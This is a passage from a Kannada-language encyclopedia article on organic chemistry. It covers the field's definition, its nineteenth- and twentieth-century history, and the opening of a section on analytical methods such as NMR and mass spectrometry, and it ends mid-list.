'''ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ''' ವು [[ಹೈಡ್ರೋಕಾರ್ಬನ್‌|ಹೈಡ್ರೋಕಾರ್ಬನ್‌ಗಳು]] ಮತ್ತು ಅವುಗಳ ರೂಪಾಂತರಗಳ ರಚನೆ, ಲಕ್ಷಣಗಳು, ಸಂಯೋಜನೆ, [[ಕ್ರಿಯೆ]] ಹಾಗೂ ಸಿದ್ಧತೆ ([[ಸಂಯೋಗ]] ಅಥವಾ ಇತರ ರೀತಿಯಾಗಿ) ಮುಂತಾದುವುಗಳ [[ವೈಜ್ಞಾನಿಕ]] ಅಧ್ಯಯನವನ್ನೊಳಗೊಂಡ [[ರಸಾಯನಶಾಸ್ತ್ರ|ರಸಾಯನಶಾಸ್ತ್ರದೊಳಗಿನ]] ಪ್ರತ್ಯೇಕ ಶಾಖೆ. ಈ ಸಂಯುಕ್ತಗಳು [[ಜಲಜನಕ]], [[ಸಾರಜನಕ]], [[ಆಮ್ಲಜನಕ]], [[ಹಾಲೋಜನ್‌ಗಳು]] ಹಾಗೂ [[ರಂಜಕ]] , [[ಸಿಲಿಕಾನ್‌]] ಮತ್ತು [[ಗಂಧಕ|ಗಂಧಕಗಳೂ]] ಸೇರಿದಂತೆ ಯಾವುದೇ ಸಂಖ್ಯೆಯ ಇತರ ಅಂಶಗಳನ್ನು ಹೊಂದಿರಬಹುದು.<ref>[0] ^ ರಾಬರ್ಟ್‌ T. ಮಾರ್ರಿಸನ್‌, ರಾಬರ್ಟ್‌ N. ಬಾಯ್ಡ್‌, ಹಾಗೂ ರಾಬರ್ಟ್‌ K. ಬಾಯ್ಡ್‌, ''ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ'' , 6ನೇ ಆವೃತ್ತಿ (ಬೆಂಜಮಿನ್‌ ಕಮ್ಮಿಂಗ್ಸ್, 1992, ISBN 0-13-643669-2) - ಇದು "ಮಾರಿಸನ್‌ ಹಾಗೂ ಬಾಯ್ಡ್‌", ಅತ್ಯುತ್ತಮ ಪುಸ್ತಕ</ref><ref>[1] ^ ಜಾನ್‌ D. ರಾಬರ್ಟ್ಸ್‌, ಮರ್ಜೋರಿ C. ಕ್ಯಾಸೆರಿಯೋ, ''ಬೇಸಿಕ್‌ ಪ್ರಿನ್ಸಿಪಲ್ಸ್‌‌ ಆಫ್‌ ಆರ್ಗ್ಯಾನಿಕ್‌ ಕೆಮಿಸ್ಟ್ರಿ'' ,(W. A. ಬೆಂಜಮಿನ್, Inc. ,1964) - ಮತ್ತೊಂದು ಶ್ರೇಷ್ಟ ಪುಸ್ತಕ </ref><ref>[2] ^ ರಿಚರ್ಡ್‌ F. ಹಾಗೂ ಸ್ಯಾಲಿ J. ಡಾಲೆ, ''ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ'' , ಆನ್‌ಲೈನ್‌ ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ ಪುಸ್ತಕ. [http://www.ochem4free.info Ochem4free.info]</ref> ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು ವೈವಿಧ್ಯಮಯ ರಚನೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳಿಂದ ಪಡೆಯಬಹುದಾದ ಅನುಕೂಲಗಳ ವ್ಯಾಪ್ತಿ ಅಗಾಧ. ಅನೇಕ ಉತ್ಪನ್ನಗಳ ಮೂಲಾಧಾರ ಅಥವಾ ಪ್ರಮುಖ ಅಂಶಗಳಾಗಿರುವುದಲ್ಲದೇ (ಹೆಸರಿಸಬಹುದಾದ ಕೆಲವೆಂದರೆ [[ಬಣ್ಣ|ಬಣ್ಣಗಳು]], [[ಪ್ಲಾಸ್ಟಿಕ್]]‌, [[ಆಹಾರ]], [[ಸ್ಫೋಟಕ|ಸ್ಫೋಟಕಗಳು]], [[ಔಷಧಸಾಮಗ್ರಿ|ಔಷಧಸಾಮಗ್ರಿಗಳು]], [[ಪೆಟ್ರೋಲಿಯಂ ರಾಸಾಯನಿಕ|ಪೆಟ್ರೋಲಿಯಂ ರಾಸಾಯನಿಕಗಳು]]) ಕೆಲ ಅಪವಾದಗಳನ್ನು ಬಿಟ್ಟರೆ ಬಹುತೇಕ ಭೂಮಿಯ ಎಲ್ಲಾ ಜೀವ ಪ್ರಕ್ರಿಯೆಗಳಿಗೆ ಮೂಲಾಧಾರವಾಗಿವೆ. ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರವು ಕೂಡಾ, ವಿಜ್ಞಾನದ ಇತರ ಶಾಖೆಗಳಂತೆಯೇ ನಿರ್ದಿಷ್ಟ ನಾವೀನ್ಯತೆಯ ಅಲೆಗಳೊಂದಿಗೆ ವಿಕಾಸಗೊಂಡಿದೆ. ಈ ನಾವೀನ್ಯತೆಗಳಿಗೆ ಪ್ರಾಯೋಗಿಕ ಪರಿಗಣನೆಗಳು ಹಾಗೂ ಸೈದ್ಧಾಂತಿಕ ನಾವೀನ್ಯತೆಗಳು ಪ್ರಚೋದನೆ ನೀಡಿವೆ. ಆದಾಗ್ಯೂ ಈ ಕ್ಷೇತ್ರವು [[ಪಾಲಿಮರ್‌ ವಿಜ್ಞಾನ]], [[ಔಷಧೀಯ ರಸಾಯನಶಾಸ್ತ್ರ]], ಹಾಗೂ [[ಕೃಷಿರಾಸಾಯನಿಕ|ಕೃಷಿರಾಸಾಯನಿಕಗಳ]] ಉದ್ಯಮಗಳಲ್ಲಿನ ಬೃಹತ್‌ ಅನ್ವಯಗಳಿಂದಾಗಿ ಆರ್ಥಿಕ ಬಲವನ್ನು ಹೊಂದಿದೆ. == ಇತಿಹಾಸ == {{Main|History of chemistry}} [[ಚಿತ್ರ:Friedrich woehler.jpg|right|thumb|ಫ್ರೆಡ್‌ರಿಕ್‌ ವೊಹ್ಲರ್‌ ]] ಹತ್ತೊಂಬತ್ತನೇ ಶತಮಾನದ ಆರಂಭದಲ್ಲಿ, ರಸಾಯನಶಾಸ್ತ್ರಜ್ಞರು ಸಾಧಾರಣವಾಗಿ ಜೀವಿಗಳಿಂದ ಪಡೆಯುವ ಸಂಯುಕ್ತಗಳನ್ನು [[ಕೃತಕವಾಗಿ]] ಪಡೆಯಲು ಕಷ್ಟಸಾಧ್ಯವಾಗುವಷ್ಟು ವಿಪರೀತ ಸಂಕೀರ್ಣತೆಯನ್ನು ಹೊಂದಿವೆ ಎಂಬ ಆಲೋಚನೆ ಹೊಂದಿದ್ದರು. ಜೀವತತ್ವವಾದದ ಪ್ರಕಾರ, ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ವಸ್ತುಗಳು "ಜೀವಶಕ್ತಿ"ಯನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಅವರು ಈ ಸಂಯುಕ್ತಗಳನ್ನು "ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ" ಎಂದು ಕರೆದು ಅಧ್ಯಯನಕ್ಕೆ ಸುಲಭವಾಗುವಂತಹಾ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ವಸ್ತುಗಳ ಮೇಲೆ ಕೇಂದ್ರೀಕೃತವಾಗಿ ತಮ್ಮ ಪರಿಶೋಧನೆಗಳನ್ನು ಆರಂಭಿಸಿದರು.{{Citation needed|date=November 2009}} ಹತ್ತೊಂಬತ್ತನೇ ಶತಮಾನದ ಪ್ರಥಮಾರ್ಧ ಅವಧಿಯಲ್ಲಿ, ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳನ್ನು ವಾಸ್ತವಿಕವಾಗಿ ಪ್ರಯೋಗಶಾಲೆಯಲ್ಲಿ ಕೃತಕವಾಗಿ ಸೃಷ್ಟಿಸಬಹುದೆಂಬುದು ಸ್ಪಷ್ಟವಾಯಿತು. ೧೮೧೬ರ ವೇಳೆಗೆ [[ಮೈಕೆಲ್‌ ಚೆವ್ರೆಲ್‌]] ಅನೇಕ ವಿಧದ [[ಕೊಬ್ಬಿನಂಶ|ಕೊಬ್ಬಿನಂಶಗಳು]] ಹಾಗೂ [[ಕ್ಷಾರವಸ್ತು|ಕ್ಷಾರವಸ್ತುಗಳಿಂದ]] ಮಾಡಿದ [[ಸಾಬೂನು|ಸಾಬೂನುಗಳ]] ಅಧ್ಯಯನವನ್ನು ಆರಂಭಿಸಿದ್ದರು. ಅವರು ಕ್ಷಾರದೊಂದಿಗೆ ಸೇರಿಸಿದಾಗ ಸಾಬೂನು ಉತ್ಪಾದನೆಯಾಗುವಂತಹಾ ಬೇರೆ ಬೇರೆ ಆಮ್ಲಗಳನ್ನು ಪ್ರತ್ಯೇಕಿಸಿದರು. ಇವೆಲ್ಲವೂ ಪ್ರತ್ಯೇಕ ಸಂಯುಕ್ತಗಳಾದ ಕಾರಣ, (ರೂಢಿಗತವಾಗಿ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಮೂಲಗಳಿಂದ ಸಿಗುವ) ಅನೇಕ ಕೊಬ್ಬಿನಂಶದ ವಸ್ತುಗಳಲ್ಲಿ ರಾಸಾಯನಿಕ ಬದಲಾವಣೆ ಮಾಡಿ "ಜೀವಶಕ್ತಿ"ಯಿಲ್ಲದ ನವೀನ ಸಂಯುಕ್ತಗಳನ್ನು ಪಡೆಯಲು ಸಾಧ್ಯ ಎಂದು ನಿದರ್ಶನದ ಮೂಲಕ ತೋರಿಸಿದರು. ೧೮೨೮ರಲ್ಲಿ [[ಫ್ರೆಡ್‌ರಿಕ್‌ ವೊಹ್ಲರ್‌|ಫ್ರೆಡ್‌ರಿಕ್‌ ವೊಹ್ಲರ್‌ರು]] [[ಮೂತ್ರ|ಮೂತ್ರದ]] ಅಂಶವಾದ [[ಯೂರಿಯಾ]] ಎಂಬ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ರಾಸಾಯನಿಕ (ಕಾರ್ಬಮೈಡ್‌)ವನ್ನು, ಅಜೈವಿಕ/ಅಸಾವಯವ [[ಅಮೋನಿಯಮ್‌‌ ಸೈನೇಟ್‌|ಅಮೋನಿಯಮ್‌‌ ಸೈನೇಟ್‌ನಿಂದ]] NH<sub>4</sub>OCN, ಉತ್ಪಾದಿಸಿದರು, ಈ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಈಗ [[ವೊಹ್ಲರ್‌ ಸಂಶ್ಲೇಷಣೆ|ವೊಹ್ಲರ್‌ ಸಂಶ್ಲೇಷಣೆಯೆಂದು]] ಕರೆಯಲಾಗುತ್ತದೆ. ಇದೇ ಅವಧಿಯಲ್ಲಿ ಹಾಗೂ ನಂತರ ಕೂಡಾ ವೊಹ್ಲರ್‌ರು, ಜೀವ ಶಕ್ತಿ ಸಿದ್ಧಾಂತವನ್ನು ಅಸಿಂಧು ಎಂದು ಸಾಧಿಸಿದೆನೆಂದು ಹೇಳುವ ಎಚ್ಚರ ತೋರಿದರೂ, ಇತಿಹಾಸಕಾರರು ಇದನ್ನೊಂದು ನಿರ್ಣಾಯಕ ಘಟ್ಟವೆಂಬಂತೆ ಪರಿಗಣಿಸಿದರು. ೧೮೫೬ರಲ್ಲಿ ವಿಲಿಯಂ ಹೆನ್ರಿ ಪರ್ಕಿನ್‌, ಕ್ವಿನೈನ್‌ ಅನ್ನು ಉತ್ಪಾದಿಸಲು ಪ್ರಯತ್ನಿಸಿದಾಗ, ಆಕಸ್ಮಿಕವಾಗಿ ಪರ್ಕಿನ್‌ರ ಕೆನ್ನೀಲಿ ವರ್ಣ ಎಂದೇ ಈಗ ಪರಿಚಿತವಾಗಿರುವ, ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ವರ್ಣದ್ರವ್ಯವನ್ನು ಉತ್ಪಾದಿಸಿದಾಗ, ಅದರಿಂದ ಹರಿದ ಹಣದ ಹೊಳೆ ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದಲ್ಲಿ ಆಸಕ್ತಿಯನ್ನು ಹೆಚ್ಚಿಸಿದ್ದು ಮತ್ತೊಂದು ಪ್ರಮುಖ ಮೈಲಿಗಲ್ಲಾಗಿತ್ತು. ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದಲ್ಲಾದ ನಿರ್ಣಾಯಕ ಪ್ರಗತಿಯೆಂದರೆ ೧೮೫೮ರಲ್ಲಿ [[ಫ್ರೆಡ್‌ರಿಕ್‌ ಆಗಸ್ಟ್‌ ಕೆಕುಲೆ]] ಹಾಗೂ [[ಆರ್ಚಿಬಾಲ್ಡ್‌ ಸ್ಕಾಟ್‌ ಕೂಪರ್‌]] ಇಬ್ಬರೂ ಪ್ರತ್ಯೇಕವಾಗಿ ಏಕಕಾಲದಲ್ಲಿ ಸಿದ್ಧಪಡಿಸಿದ ರಾಸಾಯನಿಕ ಸಂರಚನೆಯ ಕಲ್ಪನೆ. ಇಬ್ಬರೂ [[ಸಂಯೋಗ ಸಾಮರ್ಥ್ಯ ನಾಲ್ಕನ್ನು ಹೊಂದಿರುವ]] ಇಂಗಾಲದ ಅಣುಗಳು ಪರಸ್ಪರ ಸಂಪರ್ಕಿಸಿಕೊಂಡು ಇಂಗಾಲದ ಜಾಲಕವನ್ನು ರೂಪಿಸಬಲ್ಲವು ಹಾಗೂ ಅಣುಗಳ ಬಂಧಕಶಕ್ತಿಯ ವಿವರಣಾತ್ಮಕ ವಿನ್ಯಾಸಗಳನ್ನು ಸಮರ್ಪಕ ರಾಸಾಯನಿಕ ಕ್ರಿಯೆಗಳ ಪರಿಣತ ಗ್ರಹಿಕೆಗಳ ಮೂಲಕ ಗ್ರಹಿಸಲು ಸಾಧ್ಯ ಎಂಬ ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸಿದ್ದರು. ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಇತಿಹಾಸವು [[ಪೆಟ್ರೋಲಿಯಂ|ಪೆಟ್ರೋಲಿಯಂನ]] ಆವಿಷ್ಕಾರ ಹಾಗೂ ಕುದಿಯುವ ಬಿಂದುವಿನ ವ್ಯಾಪ್ತಿಯ ಪ್ರಕಾರ [[ಭಿನ್ನಾಂಕ|ಭಿನ್ನಾಂಕಗಳಾಗಿ]] ಪ್ರತ್ಯೇಕಿಸುವುದರೊಂದಿಗೆ ಮುಂದುವರೆಯಿತು. ವಿವಿಧ ರಾಸಾಯನಿಕ ಕ್ರಿಯೆಗಳ ಮೂಲಕ ವಿವಿಧ ಸಂಯುಕ್ತ ನಮೂನೆಗಳು ಅಥವಾ ವಿಶಿಷ್ಟ ಸಂಯುಕ್ತಗಳ ಪರಿವರ್ತನೆಯ ಸಾಧ್ಯತೆಯು ಪೆಟ್ರೋಲಿಯಂ ರಸಾಯನಶಾಸ್ತ್ರವೆಂಬ ಶಾಖೆಯನ್ನು ರಚಿಸಿ ಅದರಿಂದಾಗಿ [[ಪೆಟ್ರೋಲಿಯಂ ರಾಸಾಯನಿಕ]] ಉದ್ಯಮದ ಹುಟ್ಟಿಗೆ ಕಾರಣವಾಯಿತು. ಈ ಉದ್ಯಮವು ಕೃತಕ [[ರಬ್ಬರ್‌|ರಬ್ಬರ್‌ಗಳು]], ವಿವಿಧ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ [[ಗೋಂದು|ಗೋಂದುಗಳು]], ಲಕ್ಷಣಗಳನ್ನು ಬದಲಿಸಬಲ್ಲ ಪೆಟ್ರೋಲಿಯಂ ಸಂಯೋಜಕಗಳನ್ನು ಹಾಗೂ [[ಪ್ಲಾಸ್ಟಿಕ್‌|ಪ್ಲಾಸ್ಟಿಕ್‌ಅನ್ನು]] ಯಶಸ್ವಿಯಾಗಿ ಉತ್ಪಾದಿಸಿತು. [[ಔಷಧ]] ಉದ್ಯಮವು ೧೯ನೇ ಶತಮಾನದ ಕೊನೆಯ ದಶಕದಲ್ಲಿ ([[ಆಸ್ಪಿರಿನ್‌]] ಎಂದು ಜನಪ್ರಿಯವಾಗಿರುವ) ಅಸಿಟೈಲ್‌ಸಲಿಸೈಕ್ಲಿಕ್‌ ಆಮ್ಲದ ಉತ್ಪಾದನೆಯನ್ನು [[ಬೇಯರ್‌ ಸಂಸ್ಥೆ|ಬೇಯರ್‌ ಸಂಸ್ಥೆಯು]] ಜರ್ಮನಿಯಲ್ಲಿ ಆರಂಭಿಸಿದಾಗ ಆರಂಭವಾಯಿತು. ಪ್ರಥಮ ಬಾರಿಗೆ [[ಆರ್ಸೆಫೆನಾಮೈನ್]]‌(ಸಾಲ್ವರ್ಸನ್‌)ನೊಂದಿಗೆ ಔಷಧಿಯೊಂದನ್ನು ವ್ಯವಸ್ಥಿತವಾಗಿ ಸುಧಾರಿಸಲಾಯಿತು. [[ಅಟಾಕ್ಸಿಲ್‌|ಅಟಾಕ್ಸಿಲ್‌ನ]] ಅಪಾಯಕಾರಿ ವಿಷದ ಅನೇಕ ರೂಪಾಂತರಗಳನ್ನು [[ಪೌಲ್‌ ಎಹ್ರ್‌ಲಿಚ್‌]] ಹಾಗೂ ಆತನ ತಂಡವು ಪರೀಕ್ಷಿಸಿ ಅತ್ಯುತ್ತಮ ಪ್ರಭಾವೀ ಹಾಗೂ ವಿಷಲಕ್ಷಣಗಳುಳ್ಳ ಸಂಯುಕ್ತವನ್ನು ಉತ್ಪಾದನೆಗೆ ಆಯ್ಕೆ ಮಾಡಿತು. ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಕ್ರಿಯೆಗಳು ಹಾಗೂ ಅನ್ವಯಗಳ ಮುಂಚಿನ ಅವಕಾಶಗಳು ಬಹುಮಟ್ಟಿಗೆ [[ಅದೃಷ್ಟದವಾಗಿದ್ದರೂ]], ೧೯ನೇ ಶತಮಾನದ ಉತ್ತರಾರ್ಧದಲ್ಲಿ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳ ವ್ಯವಸ್ಥಿತ ಅಧ್ಯಯನಗಳು ನಡೆದವು. ೨೦ನೇ ಶತಮಾನದ ಆರಂಭದಲ್ಲಿ, ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಪ್ರಗತಿಯು ವಿಪರೀತ ಸಂಕೀರ್ಣತೆಯ ಅಣುಗಳ ಸಮನ್ವಯವನ್ನು ಬಹುಹಂತದ ಕ್ರಿಯೆಗಳ ಮೂಲಕ ಸಾಧಿಸಲು ಅನುವು ಮಾಡಿಕೊಟ್ಟಿತು. ಸಮಕಾಲಿಕವಾಗಿ, ಪಾಲಿಮರ್‌ಗಳು ಹಾಗೂ ಕಿಣ್ವಗಳು ಅತಿದೊಡ್ಡ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಅಣುಗಳು ಹಾಗೂ ಪೆಟ್ರೋಲಿಯಂ ಜೈವಿಕ ಮೂಲದ್ದು ಎಂಬುದು ಪತ್ತೆಯಾದವು. ಯಾವುದೇ ಸಂಯುಕ್ತಕ್ಕೆ ಹೊಸದಾದ ಸಮನ್ವಯದ ಹಾದಿಗಳನ್ನು ಹುಡುಕುವ ಪ್ರಕ್ರಿಯೆಗೆ ಸಂಪೂರ್ಣ ಸಮನ್ವಯ ಎನ್ನಲಾಯಿತು. ಸಂಕೀರ್ಣ ನೈಸರ್ಗಿಕ ಸಂಯುಕ್ತಗಳ [[ಸಂಪೂರ್ಣ ಸಮನ್ವಯ|ಸಂಪೂರ್ಣ ಸಮನ್ವಯವು]] [[ಯೂರಿಯಾ|ಯೂರಿಯಾದ]] ಮೂಲಕ ಆರಂಭವಾಗಿ ಹೆಚ್ಚಿನ ಸಂಕೀರ್ಣತೆಯ [[ಗ್ಲೂಕೋಸ್‌]] ಹಾಗೂ [[ಟರ್ಪಿನಾಲ್‌|ಟರ್ಪಿನಾಲ್‌ಗಳೊಂದಿಗೆ]] ಮುಂದುವರೆಯಿತು. ೧೯೦೭ರಲ್ಲಿ, ಸಂಪೂರ್ಣ ಸಮನ್ವಯವು [[ಗುಸ್ತಾಫ್‌ ಕೊಂಪ್ಪಾ|ಗುಸ್ತಾಫ್‌ ಕೊಂಪ್ಪಾರು]] [[ಕರ್ಪೂರ|ಕರ್ಪೂರದೊಂದಿಗೆ]] ಸಂಪೂರ್ಣ ಸಮನ್ವಯದ ವಾಣಿಜ್ಯೀಕರಣ ಮಾಡಿದರು. ಔಷಧೀಯ ಅನುಕೂಲಗಳು ಗಮನಾರ್ಹ ಪ್ರಮಾಣದಲ್ಲಿದ್ದವು, ಉದಾಹರಣೆಗೆ [[ಕೊಲೆಸ್ಟರಾಲ್‌]]-ಸಂಬಂಧಿ ಸಂಯುಕ್ತಗಳು ಸಂಕೀರ್ಣ ಮಾನವ ಹಾರ್ಮೋನ್‌ಗಳು ಹಾಗೂ ಅವುಗಳ ರೂಪಾಂತರಗಳ ಸಮನ್ವಯಕ್ಕೆ ಮಾರ್ಗ ತೆರೆದಿವೆ. ೨೦ನೇ ಶತಮಾನದ ಆರಂಭದಿಂದ, [[ಲೈಸರ್ಜಿಕ್‌ ಆಮ್ಲ]] ಹಾಗೂ [[B12 ಜೀವಸತ್ವ|B12 ಜೀವಸತ್ವದಂತಹಾ]] ಸಂಪೂರ್ಣ ಸಮನ್ವಯಗಳ ಸಂಕೀರ್ಣತೆಯು ಹೆಚ್ಚುತ್ತಿದೆ. ಇಂದಿನ ಗುರಿಗಳು [[ಅಸಮ್ಮಿತಿಯ ಸಮನ್ವಯ|ಅಸಮ್ಮಿತಿಯ ಸಮನ್ವಯಗಳೊಂದಿಗೆ]] ಸೂಕ್ತವಾಗಿ ಸಮನ್ವಯಗೊಳಿಸಲೇಬೇಕಾದ ಹತ್ತಾರು [[ಸ್ಟೀರಿಯೋಜೆನಿಕ್‌ ಕೇಂದ್ರ|ಸ್ಟೀರಿಯೋಜೆನಿಕ್‌ ಕೇಂದ್ರಗಳನ್ನು]] ಹೊಂದಿವೆ. ಜೀವಿಗಳ ರಚನೆ ಹಾಗೂ, [[ವಿಟ್ರೋದಲ್ಲಿನ]] ಪರಸ್ಪರ ವರ್ತನೆ ಹಾಗೂ ಜೀವಿಗಳ ಆಂತರಿಕ ವ್ಯವಸ್ಥೆಗಳ ರಸಾಯನಶಾಸ್ತ್ರವಾದ [[ಜೈವಿಕರಸಾಯನಶಾಸ್ತ್ರ|ಜೈವಿಕರಸಾಯನಶಾಸ್ತ್ರವು]] ಕೇವಲ ೨೦ನೇ ಶತಮಾನದಲ್ಲಷ್ಟೇ ಆರಂಭವಾಗಿದೆ, ಹೆಚ್ಚಿನ ವ್ಯಾಪ್ತಿಯ ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಹೊಸದೊಂದು ಅಧ್ಯಾಯವನ್ನೇ ತೆರೆದಿದೆ. ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದಂತೆಯೇ, ಜೈವಿಕರಸಾಯನಶಾಸ್ತ್ರವು ಕೂಡಾ ಇಂಗಾಲವನ್ನು ಹೊಂದಿರುವ ಸಂಯುಕ್ತಗಳ ಮೇಲೆ ಕೇಂದ್ರೀಕೃತವಾಗಿದೆ. == ವೈಶಿಷ್ಟ್ಯಗಳ ವಿವರಣೆ == ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು ಬಹುಮಟ್ಟಿಗೆ [[ಮಿಶ್ರಣ|ಮಿಶ್ರಣಗಳಾಗಿರುವುದರಿಂದ]], ಅವುಗಳ ಶುದ್ಧತೆಯನ್ನು ಅಳೆಯಲು ಅನೇಕ ತಂತ್ರಗಳನ್ನು ಮಾಡಲಾಗಿದೆ, ಪ್ರಮುಖವಾಗಿ [[HPLC]] ಹಾಗೂ [[ಅನಿಲ ವರ್ಣರೇಖನ|ಅನಿಲ ವರ್ಣರೇಖನದಂತಹ]] ವರ್ಣರೇಖನ ತಂತ್ರಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾಗಿದೆ. ಸಾಂಪ್ರದಾಯಿಕ ಪ್ರತ್ಯೇಕಿಸುವ ವಿಧಾನಗಳೆಂದರೆ [[ಸಾಂದ್ರೀಕರಣ]], [[ಸ್ಫಟಿಕೀಕರಣ]] ಹಾಗೂ [[ದ್ರಾವಕ ನಿಗಮನ]]. ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು "ತೇವ ವಿಧಾನಗಳೆಂದು" ಕರೆಯಲ್ಪಡುವ ವಿವಿಧ ಸಾಂಪ್ರದಾಯಿಕ ರಾಸಾಯನಿಕ ಪರೀಕ್ಷೆಗಳಲ್ಲಿ ತಮ್ಮ ವೈಶಿಷ್ಟ್ಯಗಳನ್ನು ತೋರುತ್ತಿದ್ದರೆ, ಪ್ರಸ್ತುತ ಅಂತಹಾ ಪರೀಕ್ಷೆಗಳನ್ನು ರೋಹಿತ ದರ್ಶನ ಅಥವಾ ಇನ್ನಿತರ ಗಣಕೀಕೃತ ವಿಶ್ಲೇಷಣಾ ವಿಧಾನಗಳ ಮೂಲಕ ನಡೆಸಲಾಗುತ್ತಿದೆ.<ref>[5] ^ "ದ ಸಿಸ್ಟಮ್ಯಾಟಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಷನ್‌ ಆಫ್‌ ಆರ್ಗ್ಯಾನಿಕ್‌ ಕಾಂಪೌಂಡ್ಸ್‌ " R.L. ಷ್ರೀನರ್‌r, C.K.F. ಹರ್ಮನ್‌‌, T.C. ಮಾರ್ರಿಲ್‌, D.Y. ಕರ್ಟಿನ್‌, ಹಾಗೂ R.C. ಫ್ಯೂಸನ್‌ ಜಾನ್‌ ವಿಲೇ &amp; ಸನ್ಸ್, 1997 0-471-59748-1</ref> ಬಳಕೆಯ ಅಂದಾಜಿನ ಕ್ರಮದ ಪ್ರಕಾರ ಪಟ್ಟಿ ಮಾಡಬಹುದಾದ ಪ್ರಮುಖ ವಿಶ್ಲೇಷಣಾ ವಿಧಾನಗಳೆಂದರೆ: * [[ಅಣುಕಾಂತೀಯ ಅನುರಣನ (NMR) ರೋಹಿತದರ್ಶನ|ಅಣುಕಾಂತೀಯ ಅನುರಣನ (NMR) ರೋಹಿತದರ್ಶನವು]] [[ಅನ್ಯೋನ್ಯಾವಲಂಬನೆಯ ರೋಹಿತದರ್ಶನ]] ಬಳಸಿಕೊಂಡು ಸ್ಟೀರಿಯೋರಸಾಯನಶಾಸ್ತ್ರ ಅಣು ಸಂಯೋಜಕತೆಯ ಸಂಪೂರ್ಣ ಹಂಚಿಕೆಯನ್ನು ಮಾಡಲು ಅವಕಾಶ ನೀಡುವ ಬಹುಸಾಮಾನ್ಯವಾದ ತಂತ್ರವಾಗಿದೆ. ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಮೂಲ ಅಣುಗಳಾದ - ಜಲಜನಕ ಹಾಗೂ ಇಂಗಾಲಗಳು- ಅನುಕ್ರಮವಾಗಿ <sup>1</sup>H ಹಾಗೂ <sup>13</sup>C NMR-ಪ್ರತಿಕ್ರಿಯಾತ್ಮಕ ಸಮಸ್ಥಾನಿಗಳಲ್ಲಿ ನೈಸರ್ಗಿಕವಾಗಿಯೇ ಲಭ್ಯವಿರುತ್ತವೆ. * [[ಧಾತುರೂಪಿ ವಿಶ್ಲೇಷಣೆ]] : ಅಣುವಿನ ಧಾತುರೂಪಿ ಸಂಯೋಜನೆಯನ್ನು ತಿಳಿದುಕೊಳ್ಳುವ ವಿನಾಶಕ ವಿಧಾನವಾಗಿದೆ. ಕೆಳಗೆ ರಾಶಿ ರೋಹಿತ ಮಾಪನವನ್ನೂ ನೋಡಿ.. * [[ರಾಶಿ ರೋಹಿತಮಾಪನ|ರಾಶಿ ರೋಹಿತಮಾಪನವು]] ಸಂಯುಕ್ತವೊಂದರ [[ಅಣುತೂಕ|ಅಣುತೂಕವನ್ನು]] ಸೂಚಿಸುತ್ತದೆ, ಹಾಗೂ [[ವಿಘಟನ ಮಾದರಿ|ವಿಘಟನ ಮಾದರಿಗಳಿಂದ]] ಅದರ ರಚನೆಯನ್ನು ಸೂಚಿಸುತ್ತದೆ. ಉಚ್ಚ ಅಭಿನಿವೇಶ ರಾಶಿ ರೋಹಿತಮಾಪನವು ಸಾಮಾನ್ಯವಾಗಿ ಸಂಯುಕ್ತವೊಂದರ ನಿಖರ ಸೂತ್ರವನ್ನು ಗುರುತಿಸಬಲ್ಲದಾದುದರಿಂದ ಧಾತುರೂಪಿ ವಿಶ್ಲೇಷಣೆಯ ಬದಲಿಗೆ ಅದನ್ನು ಬಳಸಲಾಗುತ್ತದೆ. ಹಿಂದೆ, ರಾಶಿ ರೋಹಿತಮಾಪನವು ಬಾಷ್ಪಶೀಲತೆ ಇರುವ ತಟಸ್ಥ ಅಣುಗಳ ಮಟ್ಟಿಗೆ ಮಾತ್ರ ಸೀಮಿತವಾಗಿತ್ತು, ಆದರೆ ಆಧುನಿಕ ಅಯಾನೀಕರಣ ವಿಧಾನಗಳಿಂದ ಬಹುತೇಕ ಯಾವುದೇ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತದ "ರಾಶಿ ವಿವರ" ಪಡೆಯಲು ಸಾಧ್ಯವಿದೆ. * 